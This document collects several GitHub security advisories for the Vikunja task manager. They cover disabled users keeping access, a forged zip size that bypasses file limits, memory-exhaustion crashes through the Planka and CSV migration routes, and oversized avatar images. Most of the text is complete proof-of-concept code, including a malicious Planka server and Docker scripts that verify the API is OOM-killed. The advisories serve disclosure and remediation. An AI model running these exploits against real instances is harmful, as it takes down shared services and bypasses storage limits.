Affected Party: Any administrator or automated process utilizing the vikunja restore CLI command. 1. Specifically, instances where a user may be socially engineered into restoring a backup from an untrusted source are at high risk. 2. Additionally, because the database is wiped before archive validation, even a failed exploitation attempt results in a complete loss of application data for that instance, impacting all end-users of the affected Vikunja installation.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.13%
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

When a user account is disabled or locked, the status check is only enforced on the local login and JWT token refresh paths. Three other authentication paths — API tokens, CalDAV basic auth, and OpenID Connect — do not verify user status, allowing disabled or locked users to continue accessing the API and syncing data.

Details

User status (StatusDisabled, StatusAccountLocked) is checked in only two places:

1. Local/LDAP login (pkg/routes/api/v1/login.go:74) — prevents issuing new JWTs 2. JWT token refresh (pkg/routes/api/v1/login.go:247) — prevents refreshing expired JWTs

Three other authentication paths fetch the user from the database via GetUserByID but never inspect the returned user's status:

1. API Token Authentication (pkg/routes/apitokens.go:76-103)

API tokens are long-lived (up to years) and have no refresh cycle. A disabled user's API tokens remain fully functional until they expire naturally.

2. CalDAV Basic Auth (pkg/routes/caldav/auth.go)

The CalDAV basic auth handler validates credentials but does not check user status before granting access. A disabled user with valid credentials or a CalDAV token can continue syncing calendars and tasks.

3. OpenID Connect Callback (pkg/modules/auth/openid/openid.go)

The OIDC callback issues a fresh JWT token after validating the identity provider's response but does not check whether the Vikunja user account is disabled. If the user's identity provider session is still active, they receive a valid JWT despite being disabled in Vikunja.

Impact

An administrator who disables a user account expects that user to be immediately locked out. In practice:

- API tokens: The user retains full API access for the remaining lifetime of any issued API tokens — potentially months or years. - CalDAV: The user can continue reading and writing tasks/events via any CalDAV client. - OIDC: The user can obtain a fresh, fully valid JWT by re-authenticating through their identity provider, completely bypassing the account disable.

Proof of Concept

1. Create a user and generate an API token. 2. Disable the user account via the admin API or CLI. 3. Make an API request using the API token: bash curl -H "Authorization: Bearer tk<token>" https://vikunja.example/api/v1/user 4. The request succeeds with a 200 response despite the account being disabled.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

The Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.

Details

During import, the JSON metadata from data.json inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at pkg/modules/migration/createfromstructure.go:406 passes the attacker-controlled File.Size from the JSON:

go err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)

The file size enforcement check at pkg/files/files.go:118 then evaluates this attacker-controlled value:

go if realsize > config.GetMaxFileSizeInMBytes()uint64(datasize.MB) && checkFileSizeLimit {

With Size set to 0 in the JSON, the comparison 0 > 20MB evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the readZipEntry limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.

Proof of Concept

Tested on Vikunja v2.2.2 with default maxfilesize: 20MB.

python import zipfile, io, json, requests

TARGET = "http://localhost:3456" token = requests.post(f"{TARGET}/api/v1/login", json={"username": "user1", "password": "User1pass!"}).json()["token"] h = {"Authorization": f"Bearer {token}"}

Craft zip with forged Size=0 in JSON but 25MB actual content largecontent = b"A" (25 1024 1024) # 25MB data = [{"title": "Project", "tasks": [{"title": "Task", "attachments": [{ "file": {"name": "large.bin", "size": 0, "created": "2026-01-01T00:00:00Z"}, "created": "2026-01-01T00:00:00Z"}]}]}]

zipbuf = io.BytesIO() with zipfile.ZipFile(zipbuf, 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr("VERSION", "2.2.2") zf.writestr("data.json", json.dumps(data)) zf.writestr("large.bin", largecontent)

resp = requests.put(f"{TARGET}/api/v1/migration/vikunja-file/migrate", headers=h, files={"import": ("export.zip", zipbuf.getvalue(), "application/zip")})

Output: HTTP 200: {"message": "Everything was migrated successfully."} 25MB file stored despite 20MB server limit.

Impact

An authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.

Recommended Fix

Use the actual content length instead of the attacker-controlled Size field:

go err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.37%
SQL Injection, SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API

Summary

The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.

Impact and affected scope

- Type: Resource Exhaustion Dos - Affected component: POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator - Preconditions: A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit. - Verified revision: d66ef3d1a39c6f7289593059a1a34afd1d059260 on 28 August 2026 - Affected release range: > 2.5.0 for the tested post-2.5.0 main branch; no released build was independently reproduced

A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.

Technical details

Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.

Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination

Relevant code:

- pkg/routes/api/v2/migrationcredentials.go:35 - pkg/routes/api/v2/migrationshared.go:73 - pkg/routes/api/v2/migrationshared.go:95 - pkg/modules/migration/planka/client.go:37 - pkg/modules/migration/planka/client.go:356 - pkg/modules/migration/planka/fetch.go:29 - pkg/modules/migration/planka/fetch.go:32 - pkg/modules/migration/planka/convert.go:275 - pkg/modules/migration/planka/convert.go:280 - pkg/modules/migration/planka/convert.go:293 - pkg/modules/migration/planka/planka.go:86 - pkg/modules/migration/planka/planka.go:100

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

text FROM golang:1.27-bookworm AS builder

WORKDIR /src COPY --from=target . . RUN mkdir -p frontend/dist \ && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \ && go build -o /out/vikunja .

FROM golang:1.27-bookworm

RUN apt-get update \ && apt-get install -y --no-install-recommends ca-certificates curl python3 \ && rm -rf /var/lib/apt/lists/

WORKDIR /app COPY --from=builder /out/vikunja /app/vikunja COPY . /app RUN chmod +x /app/verify.sh

Create reproduction/verify.sh:

sh #!/usr/bin/env bash set -euo pipefail

test -d /target-repo test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260" test -z "${VIKUNJAOUTGOINGREQUESTSALLOWNONROUTABLEIPS:-}"

mkdir -p /work/files /work/logs export VIKUNJADATABASETYPE=sqlite export VIKUNJADATABASEPATH=/work/vikunja.db export VIKUNJAFILESBASEPATH=/work/files export VIKUNJALOGPATH=/work/logs export VIKUNJASERVICEROOTPATH=/work export VIKUNJASERVICEINTERFACE=0.0.0.0:3456 export VIKUNJASERVICEPUBLICURL=http://127.0.0.1:3456/ export VIKUNJASERVICEFRONTENDURL=http://127.0.0.1:3456/

python3 /app/maliciousplanka.py > /work/planka.log 2>&1 & PLANKAPID=$! /app/vikunja > /work/vikunja.log 2>&1 & VIKUNJAPID=$! cleanup() { if kill -0 "${VIKUNJAPID}" 2>/dev/null; then kill "${VIKUNJAPID}" 2>/dev/null || true wait "${VIKUNJAPID}" 2>/dev/null || true fi if kill -0 "${PLANKAPID}" 2>/dev/null; then kill "${PLANKAPID}" 2>/dev/null || true wait "${PLANKAPID}" 2>/dev/null || true fi } trap cleanup EXIT

for in $(seq 1 90); do if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \ && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then break fi sleep 1 done curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null

REGISTERCODE="$(curl -sS -o /work/register.json -w '%{httpcode}' \ -H 'Content-Type: application/json' \ -d '{"username":"PoC","email":"PoC@example.invalid","password":"PoC-Test-Password-123!"}' \ http://127.0.0.1:3456/api/v2/register)" test "${REGISTERCODE}" = "201" curl -fsS \ -H 'Content-Type: application/json' \ -d '{"username":"PoC","password":"PoC-Test-Password-123!","longtoken":false}' \ http://127.0.0.1:3456/api/v2/login > /work/login.json TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')" test -n "${TOKEN}"

BASELINERSSKIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJAPID}/status")" OOMBEFORE="$(awk '$1 == "oomkill" {print $2}' /sys/fs/cgroup/memory.events)" MIGRATECODE="$(curl -sS -o /work/migrate.json -w '%{httpcode}' \ -H "Authorization: Bearer ${TOKEN}" \ -H 'Content-Type: application/json' \ -d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \ http://127.0.0.1:3456/api/v2/migration/planka/migrate)" test "${MIGRATECODE}" = "200"

for in $(seq 1 90); do if ! kill -0 "${VIKUNJAPID}" 2>/dev/null; then break fi sleep 1 done if kill -0 "${VIKUNJAPID}" 2>/dev/null; then echo "[PoC] target survived unexpectedly" >&2 tail -n 80 /work/vikunja.log >&2 tail -n 80 /work/planka.log >&2 exit 1 fi

set +e wait "${VIKUNJAPID}" TARGETEXIT=$? set -e OOMAFTER="$(awk '$1 == "oomkill" {print $2}' /sys/fs/cgroup/memory.events)" ATTACHMENTSSERVED="$(cat /work/attachment-count 2>/dev/null || echo 0)"

test "${OOMAFTER}" -gt "${OOMBEFORE}" test "${TARGETEXIT}" -eq 137 test "${ATTACHMENTSSERVED}" -ge 4 kill -0 "${PLANKAPID}" if curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then echo "[PoC] health endpoint remained available after target exit" >&2 exit 1 fi

kill "${PLANKAPID}" 2>/dev/null || true wait "${PLANKAPID}" 2>/dev/null || true trap - EXIT echo "[PoC] evidence: migratestatus=${MIGRATECODE} publicattackerip=93.184.216.34 attachmentsserved=${ATTACHMENTSSERVED} baselinersskib=${BASELINERSSKIB} targetexit=${TARGETEXIT} oomkilldelta=$((OOMAFTER - OOMBEFORE))" echo "[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy"

Create reproduction/run.sh:

sh #!/usr/bin/env bash set -euo pipefail

SCRIPTDIR="$(cd "$(dirname "${BASHSOURCE[0]}")" && pwd)" FINDINGDIR="$(cd "${SCRIPTDIR}/.." && pwd)" SESSIONDIR="$(cd "${FINDINGDIR}/.." && pwd)" if [[ "$(basename "${SESSIONDIR}")" == "artifacts" ]]; then SESSIONDIR="$(cd "${SESSIONDIR}/.." && pwd)" fi CASEID="$(basename "${SESSIONDIR}")" FINDINGNAME="$(basename "${FINDINGDIR}")" IMAGETAG="PoC-${CASEID}-${FINDINGNAME}" NETWORKNAME="${IMAGETAG}-net-$$" TARGETREPOURL="https://github.com/go-vikunja/vikunja.git" TARGETREF="d66ef3d1a39c6f7289593059a1a34afd1d059260" WORKDIR="$(mktemp -d "${SESSIONDIR}/.PoC-repro.XXXXXX")" NETWORKCREATED=false cleanup() { if [[ "${NETWORKCREATED}" == "true" ]]; then docker network rm "${NETWORKNAME}" > /dev/null 2>&1 || true fi rm -rf "${WORKDIR}" } trap cleanup EXIT TARGETREPODIR="${WORKDIR}/repo"

echo "[PoC] cloning target repository" git clone --filter=blob:none --no-checkout "${TARGETREPOURL}" "${TARGETREPODIR}" git -C "${TARGETREPODIR}" checkout --detach "${TARGETREF}" printf '\n.git\n' >> "${TARGETREPODIR}/.dockerignore"

echo "[PoC] building reproduction image: ${IMAGETAG}" docker build \ --build-context "target=${TARGETREPODIR}" \ -t "${IMAGETAG}" \ "${SCRIPTDIR}"

echo "[PoC] creating isolated public-address test network" docker network create --subnet 93.184.216.0/24 "${NETWORKNAME}" > /dev/null NETWORKCREATED=true

echo "[PoC] running exploit trigger and verification" docker run --rm \ --network "${NETWORKNAME}" \ --ip 93.184.216.34 \ --memory=256m \ --memory-swap=256m \ -v "${TARGETREPODIR}:/target-repo:ro" \ "${IMAGETAG}" \ /app/verify.sh

echo "[PoC] SUCCESS: reproduction completed and verified"

Create reproduction/maliciousplanka.py:

python #!/usr/bin/env python3 import json import os import threading from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

ATTACHMENTCOUNT = 24 ATTACHMENTBYTES = 20 1024 1024 counter = 0 counterlock = threading.Lock()

class Handler(BaseHTTPRequestHandler): protocolversion = "HTTP/1.1"

def logmessage(self, fmt, args): print(fmt % args, flush=True)

def sendjson(self, payload): body = json.dumps(payload, separators=(",", ":")).encode() self.sendresponse(200) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def doDELETE(self): self.sendresponse(204) self.sendheader("Content-Length", "0") self.endheaders()

def doGET(self): global counter if self.path == "/api/users/me": self.sendjson({"item": {"id": "attacker"}}) return if self.path == "/api/projects": self.sendjson( { "items": [{"id": "p1", "name": "attacker project"}], "included": { "boards": [ {"id": "b1", "name": "board", "projectId": "p1", "position": 1} ], "baseCustomFieldGroups": [], "customFields": [], }, } ) return if self.path == "/api/boards/b1": attachments = [ { "id": f"a{i}", "type": "file", "name": f"aggregate-{i}.bin", "cardId": "c1", "data": {"mimeType": "application/octet-stream"}, } for i in range(ATTACHMENTCOUNT) ] self.sendjson( { "item": {"id": "b1", "name": "board", "projectId": "p1", "position": 1}, "included": { "users": [], "labels": [], "lists": [ {"id": "l1", "name": "active", "type": "active", "position": 1} ], "cards": [ {"id": "c1", "name": "memory bomb", "listId": "l1", "commentsTotal": 0} ], "cardLabels": [], "taskLists": [], "tasks": [], "attachments": attachments, "customFieldGroups": [], "customFields": [], "customFieldValues": [], }, } ) return if self.path.startswith("/attachments/"): self.sendresponse(200) self.sendheader("Content-Type", "application/octet-stream") self.sendheader("Content-Length", str(ATTACHMENTBYTES)) self.endheaders() chunk = b"A" 65536 try: for in range(ATTACHMENTBYTES // len(chunk)): self.wfile.write(chunk) except (BrokenPipeError, ConnectionResetError): return with counterlock: counter += 1 with open("/work/attachment-count", "w", encoding="ascii") as countfile: countfile.write(str(counter)) countfile.flush() os.fsync(countfile.fileno()) return self.sendresponse(404) self.sendheader("Content-Length", "0") self.endheaders()

ThreadingHTTPServer(("0.0.0.0", 18080), Handler).serveforever()

From the directory containing these files, run:

sh chmod +x reproduction/run.sh reproduction/.sh 2>/dev/null || true ./reproduction/run.sh

Expected: The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.

Observed: The final run returned migratestatus=200 using publicattackerip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oomkill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.

Verification and controls: The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oomkill increment, surviving attacker server, and failed health.

Observed evidence:

- migratestatus=200 - publicattackerip=93.184.216.34 - attachmentsserved=5 - baselinersskib=68064 - targetexit=137 - oomkilldelta=1 - [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy

Suggested remediation

Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.

Severity

CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.

Disclosure context and attribution

AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.

Reported by the University of Sydney security research team:

- Ziyue Wang (@Zyy0530) - Liyi Zhou (@lzhou1110) - Strick Sheng (@Str1ckl4nd) - Maurice Ng (@mauriceng98) - Chenchen Yu (@7thParkk)

We are happy to answer questions, provide additional verification details, or validate a candidate patch.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.34%
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Unbounded CSV row cardinality permits API process termination

Summary

The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process.

Impact and affected scope

- Type: Resource Exhaustion Csv Import - Affected component: POST /api/v2/migration/csv/migrate - Preconditions: An ordinary authenticated user supplies a multipart CSV containing a very large number of tiny records plus a valid mapping configuration. - Verified revision: 349cd5adbcc831ef08b08e6c9c6d627603c39606 on 28 August 2026 - Affected release range: = 2.5.0; broader historical range not established and maintainer confirmation requested

A low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit.

Technical details

csv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification.

Attack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows.

Relevant code:

- pkg/routes/api/v2/migrationcsv.go:96 - pkg/routes/api/v2/migrationcsv.go:164 - pkg/modules/migration/csv/csv.go:281 - pkg/modules/migration/csv/csv.go:298 - pkg/modules/migration/csv/csv.go:590 - pkg/modules/migration/csv/csv.go:605 - pkg/modules/migration/csv/csv.go:627 - pkg/modules/migration/csv/csv.go:643 - pkg/modules/migration/csv/csv.go:655

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

text FROM golang:1.27.0-alpine

RUN apk add --no-cache bash build-base ca-certificates python3 tzdata

WORKDIR /app COPY . /app RUN chmod +x /app/.sh 2>/dev/null || true

Target source is supplied only at runtime through /target-repo:ro. This image contains build dependencies and reproduction helpers, not a clone.

Create reproduction/client.py:

python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.request import uuid

BASE = "http://target:3456"

def jsonrequest(method, path, body=None, token=None, expected=None): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=30) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method} {path}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {}

def waitready(): for in range(240): try: if jsonrequest("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready")

def registerandlogin(username): password = "PoC-password-123!" jsonrequest("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) , login = jsonrequest("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) return login["token"]

def migrate(token, csvdata, config, expectresponse): boundary = "----PoC-" + uuid.uuid4().hex body = ( f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode() + f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode() + csvdata + f"\r\n--{boundary}--\r\n".encode() ) print(f"PoCCSVREQUEST rows={csvdata.count(bytes([10]))} requestbytes={len(body)}", flush=True) req = urllib.request.Request( BASE + "/api/v2/migration/csv/migrate", data=body, headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary=" + boundary}, method="POST", ) try: with urllib.request.urlopen(req, timeout=90) as response: status, data = response.status, response.read() print(f"POST migrate -> {status} {data[:200]!r}", flush=True) if expectresponse and status != 200: raise RuntimeError(f"control returned {status}, expected 200") if not expectresponse: raise RuntimeError(f"attack unexpectedly returned HTTP {status}") except urllib.error.HTTPError as exc: data = exc.read() print(f"POST migrate -> HTTP {exc.code} {data[:200]!r}", flush=True) if expectresponse: raise raise RuntimeError(f"attack was rejected with HTTP {exc.code}; process did not terminate") except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc: if expectresponse: raise print(f"PoCCSVATTACKDISCONNECTED error={type(exc).name}", flush=True)

def main(): waitready() controltoken = registerandlogin("PoC-csv-control") controlconfig = json.dumps({"delimiter": ",", "mapping": [{"columnindex": 0, "attribute": "title"}]}) migrate(controltoken, b"Title\ncontrol task\n", controlconfig, True) jsonrequest("GET", "/api/v1/info", expected=200) print("PoCCSVCONTROL=PASS", flush=True)

attacktoken = registerandlogin("PoC-csv-attack") attackconfig = json.dumps({"delimiter": ",", "mapping": [{"columnindex": 0, "attribute": "ignore"}]}) migrate(attacktoken, b"x\n" 2000000, attackconfig, False) print("PoCCSVATTACKSENT rows=2000000", flush=True)

if name == "main": try: main() except Exception as exc: print(f"PoCCSVCLIENT=FAIL {exc}", file=sys.stderr, flush=True) raise

Create reproduction/prepare.sh:

sh #!/usr/bin/env bash set -euo pipefail

mkdir -p /work/repo cp -a /target-repo/. /work/repo/ mkdir -p /work/repo/frontend/dist cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html

cd /work/repo CGOENABLED=1 go build \ -tags osusergo \ -ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \ -o /output/vikunja . chmod 0755 /output/vikunja

if [[ -f /app/probe.go ]]; then go build -o /output/probe /app/probe.go chmod 0755 /output/probe fi

Create reproduction/run.sh:

sh #!/usr/bin/env bash set -euo pipefail

SCRIPTDIR="$(cd "$(dirname "${BASHSOURCE[0]}")" && pwd)" FINDINGDIR="$(cd "${SCRIPTDIR}/.." && pwd)" SESSIONDIR="$(cd "${FINDINGDIR}/.." && pwd)" CASEID="$(basename "${SESSIONDIR}")" FINDINGNAME="$(basename "${FINDINGDIR}")" IMAGETAG="PoC-${CASEID}-${FINDINGNAME}" TARGETREPOURL="https://github.com/go-vikunja/vikunja.git" TARGETREF="349cd5adbcc831ef08b08e6c9c6d627603c39606" WORKDIR="$(mktemp -d "${SESSIONDIR}/.PoC-reproduction.XXXXXX")" TARGETREPODIR="${WORKDIR}/repo" BUILDDIR="${WORKDIR}/build" DATADIR="${WORKDIR}/data" NETWORK="${IMAGETAG}-net-$$" TARGETCONTAINER="${IMAGETAG}-target-$$"

cleanup() { docker rm -f "${TARGETCONTAINER}" >/dev/null 2>&1 || true docker network rm "${NETWORK}" >/dev/null 2>&1 || true rm -rf "${WORKDIR}" } trap cleanup EXIT

mkdir -p "${BUILDDIR}" "${DATADIR}/files" chmod 0777 "${BUILDDIR}" "${DATADIR}" "${DATADIR}/files" echo "[PoC] cloning and pinning target ${TARGETREF}" git clone --filter=blob:none --no-checkout "${TARGETREPOURL}" "${TARGETREPODIR}" git -C "${TARGETREPODIR}" checkout --detach "${TARGETREF}" echo "[PoC] building helper image ${IMAGETAG}" docker build -t "${IMAGETAG}" "${SCRIPTDIR}" docker run --rm -v "${TARGETREPODIR}:/target-repo:ro" -v "${BUILDDIR}:/output" "${IMAGETAG}" /app/prepare.sh docker network create "${NETWORK}" >/dev/null docker run --detach --name "${TARGETCONTAINER}" \ --network "${NETWORK}" --network-alias target \ --memory 512m --memory-swap 512m --pids-limit 256 \ -v "${BUILDDIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \ -e VIKUNJASERVICEINTERFACE=:3456 -e VIKUNJASERVICEPUBLICURL=http://target:3456/ \ -e VIKUNJASERVICEROOTPATH=/data -e VIKUNJASERVICEJWTSECRET=PoC-reproduction-secret \ -e VIKUNJASERVICEENABLEREGISTRATION=true -e VIKUNJADATABASETYPE=sqlite \ -e VIKUNJADATABASEPATH=/data/vikunja.db -e VIKUNJAFILESBASEPATH=/data/files \ -e VIKUNJAMAILERENABLED=false -e VIKUNJAREDISENABLED=false -e VIKUNJALOGHTTP=off \ -e VIKUNJARATELIMITNOAUTHLIMIT=1000 \ "${IMAGETAG}" /app/vikunja web >/dev/null

set +e OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGETAG}" python3 /app/client.py 2>&1)" CLIENTSTATUS=$? set -e printf '%s\n' "${OUTPUT}" for in $(seq 1 80); do STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGETCONTAINER}")" [[ "${STATE}" != "false 0 true" ]] && break sleep 0.25 done STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGETCONTAINER}")" echo "PoCCSVCONTAINER state=${STATE} clientstatus=${CLIENTSTATUS}" if ! grep -q 'PoCCSVCONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoCCSVATTACKSENT rows=2000000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then echo "[PoC] FAIL: CSV cardinality payload did not produce the expected cgroup OOM termination" >&2 exit 1 fi echo "PoCCSVCARDINALITY=PASS rows=2000000 requestbytesunder5MiB OOMKilled=true ExitCode=137" echo "[PoC] SUCCESS: a low-privileged CSV import terminated a 512 MiB API process"

Create reproduction/frontend-placeholder.html:

html <!doctype html><title>PoC backend reproduction placeholder</title>

From the directory containing these files, run:

sh chmod +x reproduction/run.sh reproduction/.sh 2>/dev/null || true ./reproduction/run.sh

Expected: A low-privileged CSV migration request terminates the API process through parsed-row and task-materialization amplification.

Observed: The normal import control returned HTTP 200. The 4,000,371-byte, two-million-row attack request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoCCSVCARDINALITY=PASS.

Verification and controls: The client uses independent ordinary users for the success control and attack, sends the real multipart migration format, and the host script requires the control marker, attack marker, and Docker OOMKilled=true with ExitCode=137.

Observed evidence:

- Normal CSV migrate control: HTTP 200 - Attack: rows=2000000, requestbytes=4000371, RemoteDisconnected - target container: OOMKilled=true, ExitCode=137 - PoCCSVCARDINALITY=PASS

Suggested remediation

Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.

Severity

CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.

Disclosure context and attribution

AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.

Reported by the University of Sydney security research team:

- Ziyue Wang (@Zyy0530) - Liyi Zhou (@lzhou1110) - Strick Sheng (@Str1ckl4nd) - Maurice Ng (@mauriceng98) - Chenchen Yu (@7thParkk)

We are happy to answer questions, provide additional verification details, or validate a candidate patch.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.34%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary The 50-megapixel decode guard exists only on the task-attachment preview path. Avatar and project-background uploads decode uploaded images with no pixel cap. Worse, the avatar resize fixes the output height at 1024 and derives the width from the aspect ratio, so a tiny extreme-aspect-ratio PNG expands to an enormous output image — an input-side pixel cap would not catch it.

Details The only maxPixels check (50MP) is in TaskAttachment.GetPreview (pkg/models/taskattachment.go ~lines 332-338). No such check guards: - avatar upload: pkg/modules/avatar/upload/upload.go (~lines 82, 137, 141) - project background: pkg/modules/background/handler/background.go (~lines 174, 269, 289)

imaging.Resize(img, 0, 1024, imaging.Lanczos) (upload.go ~line 141) fixes height=1024 and derives width from the aspect ratio: a 20000x10 input yields a ~2,048,000 x 1024 output (~2.1 billion pixels), so a few-hundred-byte file drives huge CPU and memory.

PoC (verified at runtime against v2.5.0) PUT /api/v1/user/settings/avatar/upload avatar=8000x8000 PNG (64MP, 192KB) -> 200 (accepted; exceeds the 50MP attachment cap) PUT /api/v1/user/settings/avatar/upload avatar=20000x10 PNG (681 bytes) -> 200 after ~19.6s of server processing Contrast (guard present): uploading the 64MP PNG as a task attachment and requesting its preview returns in ~1ms without decoding — GetPreview rejects it via maxPixels and falls back to the raw file.

